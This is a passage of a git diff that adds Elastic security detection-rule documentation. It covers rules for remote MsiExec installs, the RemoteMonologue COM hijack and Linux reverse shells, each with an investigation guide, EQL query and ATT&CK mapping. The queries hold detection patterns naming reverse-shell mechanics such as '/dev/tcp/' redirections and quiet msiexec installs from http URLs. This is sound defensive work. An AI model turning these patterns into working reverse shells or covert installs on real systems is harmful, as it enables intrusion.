be done by disabling network interfaces or moving the system to a quarantine VLAN. +- Terminate the msiexec.exe process if it is still running to stop any ongoing malicious activity. Use task management tools or scripts to ensure the process is completely stopped. +- Conduct a thorough review of the system for any unauthorized changes or installations. Check for newly installed software or modifications to system files that could indicate further compromise. +- Restore the system from a known good backup if unauthorized changes are detected and cannot be easily reversed. Ensure the backup is clean and free from any malicious alterations. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. This includes applying all relevant Windows updates and security patches. +- Enhance monitoring and logging on the affected system and network to detect any similar future attempts. Ensure that all relevant security events are being captured and analyzed. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. Provide them with all relevant logs and findings for a comprehensive analysis. + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=1m + [process where host.os.type == "windows" and event.action == "start" and + process.name : "msiexec.exe" and process.args : "/V"] by process.entity_id + [network where host.os.type == "windows" and process.name : "msiexec.exe" and + event.action == "connection_attempted"] by process.entity_id + [process where host.os.type == "windows" and event.action == "start" and + process.parent.name : "msiexec.exe" and user.id : ("S-1-5-21-*", "S-1-5-12-1-*") and + not process.executable : ("?:\\Windows\\SysWOW64\\msiexec.exe", + "?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\System32\\srtasks.exe", + "?:\\Windows\\SysWOW64\\srtasks.exe", + "?:\\Windows\\System32\\taskkill.exe", + "?:\\Windows\\Installer\\MSI*.tmp", + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\ie4uinit.exe", + "?:\\Windows\\SysWOW64\\ie4uinit.exe", + "?:\\Windows\\System32\\sc.exe", + "?:\\Windows\\system32\\Wbem\\mofcomp.exe", + "?:\\Windows\\twain_32\\fjscan32\\SOP\\crtdmprc.exe", + "?:\\Windows\\SysWOW64\\taskkill.exe", + "?:\\Windows\\SysWOW64\\schtasks.exe", + "?:\\Windows\\system32\\schtasks.exe", + "?:\\Windows\\System32\\sdbinst.exe") and + not (process.code_signature.subject_name == "Citrix Systems, Inc." and process.code_signature.trusted == true) and + not (process.name : ("regsvr32.exe", "powershell.exe", "rundll32.exe", "wscript.exe") and + process.Ext.token.integrity_level_name == "high" and + process.args : ("?:\\Program Files\\*", "?:\\Program Files (x86)\\*")) and + not (process.executable : ("?:\\Program Files\\*.exe", "?:\\Program Files (x86)\\*.exe") and process.code_signature.trusted == true) and + not (process.name : "rundll32.exe" and process.args : "printui.dll,PrintUIEntry") + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remote-install-via-msiexec.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remote-install-via-msiexec.asciidoc new file mode 100644 index 0000000000..3c4d438194 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remote-install-via-msiexec.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-20-potential-remote-install-via-msiexec]] +=== Potential Remote Install via MsiExec + +Identifies attempts to install a file from a remote server using MsiExec. Adversaries may abuse Windows Installers for initial access and delivery of malware. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Remote Install via MsiExec* + + +MsiExec is a Windows utility for installing, maintaining, and removing software. Adversaries exploit it to execute malicious payloads by disguising them as legitimate installations. The detection rule identifies suspicious child processes spawned by MsiExec that initiate network activity, which is atypical for standard installations. By focusing on unusual executable paths and network connections, the rule helps uncover potential misuse indicative of malware delivery or initial access attempts. + + +*Possible investigation steps* + + +- Review the process tree to identify the parent and child processes of the suspicious MsiExec activity, focusing on the process.entity_id and process.parent.name fields to understand the execution flow. +- Examine the process.executable path to determine if it deviates from typical installation paths, as specified in the query, to assess the likelihood of malicious activity. +- Analyze the network or DNS activity associated with the process by reviewing the event.category field for network or dns events, and correlate these with the process.name to identify any unusual or unauthorized connections. +- Check the process.args for any unusual or suspicious command-line arguments that might indicate an attempt to execute malicious payloads or scripts. +- Investigate the host's recent activity and security logs to identify any other indicators of compromise or related suspicious behavior, leveraging data sources like Elastic Defend, Sysmon, or SentinelOne as mentioned in the rule's tags. +- Assess the risk and impact of the detected activity by considering the context of the alert, such as the host's role in the network and any potential data exposure or system compromise. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule if they involve network activity. Users can create exceptions for known software update processes that are verified as safe. +- Custom enterprise applications that use MsiExec for deployment and require network access might be flagged. Identify these applications and exclude their specific executable paths from the rule. +- Automated deployment tools that utilize MsiExec and perform network operations could be misidentified. Review these tools and whitelist their processes to prevent false alerts. +- Security software or system management tools that leverage MsiExec for legitimate purposes may cause false positives. Confirm these tools' activities and add them to an exclusion list if necessary. +- Regularly review and update the exclusion list to ensure it reflects the current environment and any new legitimate software that may interact with MsiExec. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further malicious activity and lateral movement. +- Terminate the suspicious child process spawned by MsiExec to halt any ongoing malicious operations. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads or remnants. +- Review and analyze the process execution and network activity logs to identify any additional indicators of compromise (IOCs) and assess the scope of the intrusion. +- Reset credentials and review access permissions for any accounts that may have been compromised or used during the attack. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and detection rules to identify similar threats in the future, focusing on unusual MsiExec activity and network connections. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "msiexec.exe" and process.args : ("-i*", "/i*", "-p*", "/p*") and process.command_line : "*http*" and + process.args : ("/qn", "-qn", "-q", "/q", "/quiet") and + process.parent.name : ("sihost.exe", "explorer.exe", "cmd.exe", "wscript.exe", "mshta.exe", "powershell.exe", "wmiprvse.exe", "pcalua.exe", "forfiles.exe", "conhost.exe") and + not process.command_line : ("*--set-server=*", "*UPGRADEADD=*" , "*--url=*", + "*USESERVERCONFIG=*", "*RCTENTERPRISESERVER=*", "*app.ninjarmm.com*", "*zoom.us/client*", + "*SUPPORTSERVERSTSURI=*", "*START_URL=*", "*AUTOCONFIG=*", "*awscli.amazonaws.com*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remotemonologue-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remotemonologue-attack.asciidoc new file mode 100644 index 0000000000..ed477d2ed2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remotemonologue-attack.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-20-potential-remotemonologue-attack]] +=== Potential RemoteMonologue Attack + +Identifies attempt to perform session hijack via COM object registry modification by setting the RunAs value to Interactive User. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions#1 +* https://github.com/xforcered/RemoteMonologue + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential RemoteMonologue Attack* + + + + +*Possible investigation steps* + + +- Review the registry event logs to confirm the modification of the RunAs value in the specified registry paths, ensuring the change was not part of a legitimate administrative action. +- Identify the user account and process responsible for the registry modification by examining the event logs for associated user and process information. +- Check for any recent remote authentication attempts or sessions on the affected host to determine if this activity is associated with lateral movement or not. +- Investigate the timeline of the registry change to correlate with any other suspicious activities or alerts on the host, such as the execution of unusual processes or network connections. + + +*False positive analysis* + + +- Software updates or installations that modify COM settings. +- Automated scripts or management tools that adjust COM configurations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Modify the registry value back to its secure state, ensuring that "RunAs" value is not set to "Interactive User". +- Conduct a thorough review of recent user activity and system logs to identify any unauthorized access or changes made during the period NLA was disabled. +- Reset passwords for all accounts that have accessed the affected system to mitigate potential credential compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar endpoints to detect any further attempts to disable NLA or other suspicious activities. + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.action != "deletion" and + registry.value == "RunAs" and registry.data.strings : "Interactive User" and + + not + ( + ( + process.executable : ( + "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.*\\MsMpEng.exe", + "C:\\Program Files\\Windows Defender\\MsMpEng.exe" + ) and + registry.path : "*\\SOFTWARE\\Classes\\AppID\\{1111A26D-EF95-4A45-9F55-21E52ADF9887}\\RunAs" + ) or + ( + process.executable : ( + "C:\\Program Files\\TeamViewer\\TeamViewer.exe", + "C:\\Program Files (x86)\\TeamViewer\\TeamViewer.exe" + ) and + registry.path : "*\\SOFTWARE\\Classes\\AppID\\{850A928D-5456-4865-BBE5-42635F1EBCA1}\\RunAs" + ) or + ( + process.executable : "C:\\Windows\\System32\\svchost.exe" and + registry.path : "*\\S-1-*Classes\\AppID\\{D3E34B21-9D75-101A-8C3D-00AA001A1652}\\RunAs" + ) or + ( + process.executable : "C:\\Windows\\System32\\SecurityHealthService.exe" and + registry.path : ( + "*\\SOFTWARE\\Classes\\AppID\\{1D278EEF-5C38-4F2A-8C7D-D5C13B662567}\\RunAs", + "*\\SOFTWARE\\Classes\\AppID\\{7E55A26D-EF95-4A45-9F55-21E52ADF9878}\\RunAs" + ) + ) or + ( + process.executable : "C:\\Windows\\System32\\SecurityHealthService.exe" and + registry.path : ( + "*\\SOFTWARE\\Classes\\AppID\\{1D278EEF-5C38-4F2A-8C7D-D5C13B662567}\\RunAs", + "*\\SOFTWARE\\Classes\\AppID\\{7E55A26D-EF95-4A45-9F55-21E52ADF9878}\\RunAs" + ) + ) or + registry.path : ( + "HKLM\\SOFTWARE\\Microsoft\\Office\\ClickToRun\\VREGISTRY_*", + "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Office\\ClickToRun\\VREGISTRY_*" + ) or + (process.executable : "C:\\windows\\System32\\msiexec.exe" and ?user.id : "S-1-5-18") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Component Object Model Hijacking +** ID: T1546.015 +** Reference URL: https://attack.mitre.org/techniques/T1546/015/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-activity-via-terminal.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-activity-via-terminal.asciidoc new file mode 100644 index 0000000000..b82faff259 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-activity-via-terminal.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-20-potential-reverse-shell-activity-via-terminal]] +=== Potential Reverse Shell Activity via Terminal + +Identifies the execution of a shell process with suspicious arguments which may be indicative of reverse shell activity. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md +* https://github.com/WangYihang/Reverse-Shell-Manager +* https://www.netsparker.com/blog/web-security/understanding-reverse-shells/ +* https://www.elastic.co/security-labs/detecting-log4j2-with-elastic-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Reverse Shell Activity via Terminal* + + +A reverse shell is a mechanism that's abused to connect back to an attacker-controlled system. It effectively redirects the system's input and output and delivers a fully functional remote shell to the attacker. Even private systems are vulnerable since the connection is outgoing. This activity is typically the result of vulnerability exploitation, malware infection, or penetration testing. + +This rule identifies commands that are potentially related to reverse shell activities using shell applications. + + +*Possible investigation steps* + + +- Examine the command line and extract the target domain or IP address information. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - Scope other potentially compromised hosts in your environment by mapping hosts that also communicated with the domain or IP address. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. +- Investigate any abnormal behavior by the subject process such as network connections, file modifications, and any spawned child processes. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Take actions to terminate processes and connections used by the attacker. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type in ("start", "process_started") and + process.name in ("sh", "bash", "zsh", "dash", "zmodload") and + process.args : ("*/dev/tcp/*", "*/dev/udp/*", "*zsh/net/tcp*", "*zsh/net/udp*") and + + /* noisy FPs */ + not (process.parent.name : "timeout" and process.executable : "/var/lib/docker/overlay*") and + not process.command_line : ( + "*/dev/tcp/sirh_db/*", "*/dev/tcp/remoteiot.com/*", "*dev/tcp/elk.stag.one/*", "*dev/tcp/kafka/*", + "*/dev/tcp/$0/$1*", "*/dev/tcp/127.*", "*/dev/udp/127.*", "*/dev/tcp/localhost/*", "*/dev/tcp/itom-vault/*") and + not process.parent.command_line : "runc init" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-via-background-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-via-background-process.asciidoc new file mode 100644 index 0000000000..153e287b16 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-via-background-process.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-20-potential-reverse-shell-via-background-process]] +=== Potential Reverse Shell via Background Process + +Monitors for the execution of background processes with process arguments capable of opening a socket in the /dev/tcp channel. This may indicate the creation of a backdoor reverse connection, and should be investigated further. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Reverse Shell via Background Process* + + +In Linux environments, background processes can be manipulated to establish reverse shells, allowing adversaries to gain remote access. By exploiting shell commands to open network sockets, attackers can create backdoor connections. The detection rule identifies suspicious executions of background processes, like 'setsid' or 'nohup', with arguments indicating socket activity in '/dev/tcp', often initiated by common shell interpreters. This helps in flagging potential reverse shell activities for further investigation. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of suspicious arguments, specifically looking for '/dev/tcp' in the process.args field, which indicates an attempt to open a network socket. +- Identify the parent process by examining the process.parent.name field to determine if it is one of the common shell interpreters like 'bash', 'dash', 'sh', etc., which could suggest a script-based execution. +- Check the user context under which the process was executed to assess if it aligns with expected user behavior or if it indicates potential compromise of a user account. +- Investigate the network activity associated with the host to identify any unusual outbound connections that could correlate with the reverse shell attempt. +- Correlate the event with other security alerts or logs from the same host to identify any preceding or subsequent suspicious activities that might indicate a broader attack pattern. +- Review historical data for similar process executions on the host to determine if this is an isolated incident or part of a recurring pattern. + + +*False positive analysis* + + +- Legitimate administrative scripts may use background processes with network socket activity for maintenance tasks. Review the script's purpose and source to determine if it is authorized. +- Automated monitoring tools might execute commands that match the rule's criteria. Identify these tools and consider excluding their specific process names or paths from the rule. +- Development environments often run test scripts that open network connections. Verify the development context and exclude known development-related processes to reduce noise. +- Backup or synchronization software may use similar techniques to transfer data. Confirm the software's legitimacy and add exceptions for its processes if necessary. +- System updates or package management tools might trigger alerts when installing or updating software. Monitor these activities and whitelist trusted update processes. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious background processes identified by the alert, specifically those involving 'setsid' or 'nohup' with '/dev/tcp' in their arguments. +- Conduct a thorough review of the affected system's process and network activity logs to identify any additional indicators of compromise or lateral movement. +- Reset credentials for any accounts that were active on the affected system to prevent unauthorized access using potentially compromised credentials. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Implement network segmentation to limit the ability of compromised systems to communicate with critical infrastructure or sensitive data repositories. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name in ("setsid", "nohup") and process.args : "*/dev/tcp/*0>&1*" and +process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-via-child.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-via-child.asciidoc new file mode 100644 index 0000000000..3d6574b1c2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-reverse-shell-via-child.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-20-potential-reverse-shell-via-child]] +=== Potential Reverse Shell via Child + +This detection rule identifies suspicious network traffic patterns associated with TCP reverse shell activity. This activity consists of a network event that is followed by the creation of a shell process with suspicious command line arguments. An attacker may establish a Linux TCP reverse shell to gain remote access to a target system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Reverse Shell via Child* + + +Reverse shells are a technique where attackers gain remote access to a system by initiating a connection from the target back to the attacker's machine. This is often achieved using shell processes like bash or socat. Adversaries exploit this by executing commands remotely, bypassing firewalls. The detection rule identifies such activity by monitoring for network events followed by suspicious shell process executions, focusing on unusual command-line arguments and parent-child process relationships. + + +*Possible investigation steps* + + +- Review the network event details to identify the source and destination IP addresses involved in the connection attempt or acceptance. Pay special attention to any external IP addresses that are not part of the internal network. +- Examine the process execution details, focusing on the command-line arguments used by the shell process. Look for unusual or suspicious arguments such as "-i" or "-l" that may indicate interactive or login shells. +- Investigate the parent-child process relationship, especially if the parent process is "socat" with arguments containing "exec". This could suggest an attempt to execute a reverse shell. +- Check the timeline of events to determine if the network event and shell process execution occurred within a short time frame (maxspan=5s), which may indicate a coordinated attack. +- Correlate the alert with any other recent suspicious activities on the host, such as unauthorized access attempts or changes in system configurations, to assess the broader context of the potential threat. +- Verify the legitimacy of the involved processes and connections by consulting with system owners or reviewing system documentation to rule out any false positives due to legitimate administrative activities. + + +*False positive analysis* + + +- Legitimate administrative scripts or tools that use shell processes with interactive flags may trigger the rule. To manage this, identify and document these scripts, then create exceptions for their specific command-line arguments or parent processes. +- Automated maintenance tasks or cron jobs that involve shell execution with similar command-line arguments can be mistaken for reverse shell activity. Review these tasks and exclude them by specifying their unique process names or arguments. +- Development or testing environments where developers frequently use shell processes for debugging or testing purposes might cause false positives. Consider excluding these environments by filtering based on host identifiers or specific user accounts. +- Network monitoring tools or legitimate applications that use socat for network connections may appear suspicious. Identify these applications and exclude their specific process names or parent-child relationships from the detection rule. +- Custom scripts or applications that mimic reverse shell behavior for legitimate purposes should be reviewed and excluded by adding their specific process names or command-line patterns to the exception list. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious shell processes identified by the detection rule, especially those initiated by or involving the listed shell programs (e.g., bash, socat). +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized user accounts or modified system files. +- Review and reset credentials for any accounts that may have been compromised, ensuring the use of strong, unique passwords. +- Apply relevant security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Monitor network traffic for any further suspicious activity, particularly outgoing connections to unknown or suspicious IP addresses. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To 